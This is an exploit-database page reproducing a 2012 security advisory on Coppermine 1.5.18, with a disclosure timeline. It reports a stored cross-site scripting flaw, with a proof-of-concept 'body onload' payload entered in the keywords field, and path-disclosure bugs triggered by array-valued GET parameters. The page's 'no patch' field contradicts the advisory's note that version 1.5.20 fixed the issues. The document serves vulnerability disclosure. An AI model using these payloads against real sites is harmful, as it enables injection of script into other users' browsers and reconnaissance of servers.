header-logo
Suggest Exploit
vendor:
Coppermine
by:
Janek Vind
5.5
CVSS
MEDIUM
Multiple Vulnerabilities
79
CWE
Product Name: Coppermine
Affected Version From: 1.5.18
Affected Version To: 1.5.18
Patch Exists: NO
Related CWE:
CPE: a:coppermine_gallery:coppermine:1.5.18
Metasploit:
Other Scripts:
Platforms Tested:
2012

[waraxe-2012-SA#081] – Multiple Vulnerabilities in Coppermine 1.5.18

The Coppermine web picture gallery script version 1.5.18 is affected by multiple vulnerabilities. The first vulnerability is a stored cross-site scripting (XSS) in the picture keywords feature. This vulnerability allows an attacker with appropriate privileges to insert malicious code in the keywords field, which is later displayed in the HTML meta section, leading to XSS attacks. The second vulnerability is a path disclosure vulnerability in the "visible" feature of the software. This vulnerability allows an attacker to disclose sensitive information about the file structure of the server.

Mitigation:

To mitigate the stored XSS vulnerability, it is recommended to properly sanitize user-supplied input data before outputting it as HTML. To mitigate the path disclosure vulnerability, it is recommended to validate user input to prevent the disclosure of sensitive information.
Source

Exploit-DB raw data:

[waraxe-2012-SA#081] - Multiple Vulnerabilities in Coppermine 1.5.18
==============================================================================

Author: Janek Vind "waraxe"
Date: 29. March 2012
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-81.html


Affected Software:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Coppermine is a multi-purpose fully-featured and integrated web picture gallery
script written in PHP using GD or ImageMagick as image library with a MySQL backend.

http://coppermine-gallery.net/


Affected versions
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Tests were conducted against Coppermine version 1.5.18.

###############################################################################
1. Stored XSS in picture keywords
###############################################################################

Reason: failure to sufficiently sanitize user-supplied input data
Preconditions: privileges needed for picture keywords editing

Coppermine user with appropriate privileges is able to modify picture information:

http://localhost/cpg1518/edit_one_pic.php?id=1&what=picture

There is a field in form named as "Keywords (separate with semicolon)".
After insertion to database those keywords are later used in html meta section.
It appears, that specific user supplied data is not properly validated before
outputting as html to the end user, resulting in Stored XSS vulnerability.

Testing:

1. Open picture information editing page:

http://localhost/cpg1518/edit_one_pic.php?id=1&what=picture

2. Insert XSS payload below as keywords and click "Apply changes":

"><body onload=javascript:alert(String.fromCharCode(88,83,83))>

After that issue request to view this image:

http://localhost/cpg1518/displayimage.php?pid=1

As result we can observe XSS payload execution.


###############################################################################
2. Path Disclosure in "visiblehookpoints" plugin
###############################################################################

Test:

http://localhost/cpg1518/plugins/visiblehookpoints/index.php

Result:

Warning: require_once(include/init.inc.php) [function.require-once]:
failed to open stream: No such file or directory in
C:\apache_www\cpg1518\plugins\visiblehookpoints\index.php on line 22

Fatal error: require_once() [function.require]:
Failed opening required 'include/init.inc.php' (include_path='.;C:\php\pear') in
C:\apache_www\cpg1518\plugins\visiblehookpoints\index.php on line 22


###############################################################################
3. Path Disclosure in "thumbnails.php"
###############################################################################

Attack vector: user submitted GET parameters "page" and "cat"

Tests:

http://localhost/cpg1518/thumbnails.php?page[]
http://localhost/cpg1518/thumbnails.php?cat[]

Results:

Fatal error: Unsupported operand types in
C:\apache_www\cpg1518\include\functions.inc.php on line 2980

Fatal error: Unsupported operand types in
C:\apache_www\cpg1518\thumbnails.php on line 160



###############################################################################
4. Path Disclosure in "usermgr.php"
###############################################################################

Attack vector: user submitted GET parameter "page"
Preconditions: admin privileges needed

Test:

http://localhost/cpg1518/usermgr.php?page[]

Result:

Fatal error: Unsupported operand types in
C:\apache_www\cpg1518\usermgr.php on line 185


###############################################################################
5. Path Disclosure in "search.inc.php"
###############################################################################

Attack vector: user submitted GET parameters "newer_than" and "older_than"

Tests:

http://localhost/cpg1518/thumbnails.php?search=1&album=search&newer_than[]
http://localhost/cpg1518/thumbnails.php?search=1&album=search&older_than[]

Results:

Fatal error: Unsupported operand types in
C:\apache_www\cpg1518\include\search.inc.php on line 106

Fatal error: Unsupported operand types in
C:\apache_www\cpg1518\include\search.inc.php on line 107


Disclosure Timeline:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

27.03.2012 Developers contacted via email
29.03.2012 Developers released patched version 1.5.20
29.03.2012 Public disclosure


Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Waraxe forum:  http://www.waraxe.us/forums.html
Personal homepage: http://www.janekvind.com/
Random project: http://albumnow.com/
---------------------------------- [ EOF ] ------------------------------------